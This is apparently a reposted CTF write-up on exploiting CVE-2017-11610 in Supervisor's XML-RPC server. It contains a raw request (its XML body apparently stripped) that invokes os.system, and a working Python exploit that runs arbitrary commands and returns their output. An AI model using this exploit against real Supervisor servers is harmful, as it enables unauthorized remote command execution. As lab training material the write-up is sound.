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buuctf [Supervisor]CVE-2017-11610
阅读量:185 次
发布时间:2019-02-28

本文共 1532 字,大约阅读时间需要 5 分钟。

漏洞描述

Supervisor是一套进程控制系统,用于监视和控制类Unix系统上的进程。XML-RPC server是其中的一个XML-RPC服务器。 Supervisor中的XML-RPC服务器存在安全漏洞。远程攻击者可借助特制的XML-RPC请求利用该漏洞执行任意命令。

漏洞影响

supervisor 3.0.1之前的版本,3.1.4之前的3.1.x版本,3.2.4之前的3.2.x版本,3.3.3之前的3.3.x版本。

漏洞复现

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直接执行任意命令:

POST /RPC2 HTTP/1.1Host: node3.buuoj.cn:29053User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: UM_distinctid=1785a4ff130456-0f22e64e92af97-4c3f227c-1fa400-1785a4ff131385; qSq_sid=TwroyT; qSq_visitedfid=2Upgrade-Insecure-Requests: 1Cache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 215
supervisor.supervisord.options.warnings.linecache.os.system
touch /tmp/success

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命令执行成功

直接回显的POC

#!/usr/bin/env python3import xmlrpc.clientimport systarget = sys.argv[1]command = sys.argv[2]with xmlrpc.client.ServerProxy(target) as proxy:    old = getattr(proxy, 'supervisor.readLog')(0,0)    logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()    getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))    result = getattr(proxy, 'supervisor.readLog')(0,0)    print(result[len(old):])

python exp.py “http://node3.buuoj.cn:29053” “ls”

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python exp.py “http://node3.buuoj.cn:29053” “env” 拿到flag
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转载地址:http://ehci.baihongyu.com/

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